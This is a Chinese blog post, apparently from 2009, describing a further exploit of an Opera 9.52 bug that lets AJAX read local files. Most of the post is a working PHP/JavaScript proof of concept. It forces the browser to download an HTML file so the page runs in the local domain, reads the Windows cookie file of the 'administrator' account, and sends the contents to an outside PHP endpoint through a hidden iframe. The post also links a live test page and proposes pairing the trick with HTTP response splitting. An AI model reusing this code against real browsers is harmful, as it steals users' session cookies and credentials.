opera9.52使用ajax读取本地文件漏洞进一步利用

by 空虚浪子心 http://inbreak.net

在前文《opera9.52使用ajax读取本地文件漏洞》
中,提到了opera的ajax读取本地文件漏洞。

但是利用方式上,比较狭隘。

很少人会专门下载htm文件到本地,然后打开。

但是动态语言(php,asp等)只要修改header,就可以指定让用户下载。

我们设计如下代码的php文件:

b.php代码
  1. <?  
  2. /* 
  3.     opera 9.52 use ajax read local txt file and upload exp
  4.     inbreak.net 
  5.     author kxlzx@xiaotou.org 2009-1-6   
  6. */  
  7. header("Content-Disposition: attachment;filename=kxlzx.htm");  
  8. header("Content-type: application/kxlzx");  
  9. ?>  
  10. <iframe id="framekxlzx" width=0 height=0></iframe>  
  11. <script>  
  12. var xmlHttp;  
  13. function createXMLHttp(){  
  14.     if(window.XMLHttpRequest){  
  15.         xmlHttp = new XMLHttpRequest();          
  16.     }  
  17.     else if(window.ActiveXObject){  
  18.         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
  19.     }  
  20. }  
  21.   
  22. function startRequest(doUrl){  
  23.           
  24.     createXMLHttp();  
  25.       
  26.     xmlHttp.onreadystatechange = handleStateChange;  
  27.       
  28.     xmlHttp.open("GET", doUrl, true);  
  29.       
  30.     xmlHttp.send(null);  
  31.       
  32.       
  33. }   
  34.   
  35. function handleStateChange(){  
  36.     if (xmlHttp.readyState == 4 ){  
  37.             var strResponse = "";  
  38.             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
  39.               
  40.     }  
  41. }  
  42.   
  43. function doMyAjax(user,file)  
  44. {  
  45.         var time = Math.random();  
  46.           
  47.         var strPer = ‘file://localhost/C:/Documents%20and%20Settings/’+user+‘/Cookies/’+file+‘?time=’+time;  
  48.           
  49.         startRequest(strPer);  
  50.       
  51. }  
  52.   
  53. function framekxlzxPost(text)  
  54. {  
  55.     document.getElementById(‘framekxlzx’).src="http://inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
  56.     alert(/ok/);  
  57. }  
  58.   
  59. doMyAjax(‘administrator’,‘administrator@alibaba[1].txt’);  
  60.   
  61. </script>  

其他代码和前文一致,但是多出了

  1. header("Content-Disposition: attachment;filename=kxlzx.htm");  
  2. header("Content-type: application/kxlzx"); 

这段。

第一行定义http头,下载文件的文件名默认为kxlzx.htm。
因为如果你下载了其他类型的文件,windows会默认让其他类型的文件程序打开。

但是定义了htm文件名后,windows就会让opera打开这个文件。
注意,这里已经下载了文件,所以域属于本地域。

第二行定义了mm文件头(呃。。。),随便写了一个不存在的,opera就会自动下载该文件了。

使用opera打开测试地址:

http://inbreak.net/kxlzxtest/testxss/b.php

打开后,效果如图
1.jpg

我想,看到这个框,用户不管是点了打开还是点了保存,最终打开的时候,都是使用opera在本地域下打开的。

比较猥琐的利用方法。

更猥琐的方式,大家可以结合HTTP Response Splitting 攻击 ,在http头加上以上两段内容,利用范围更广。

 

发表评论?

0 条评论。

发表评论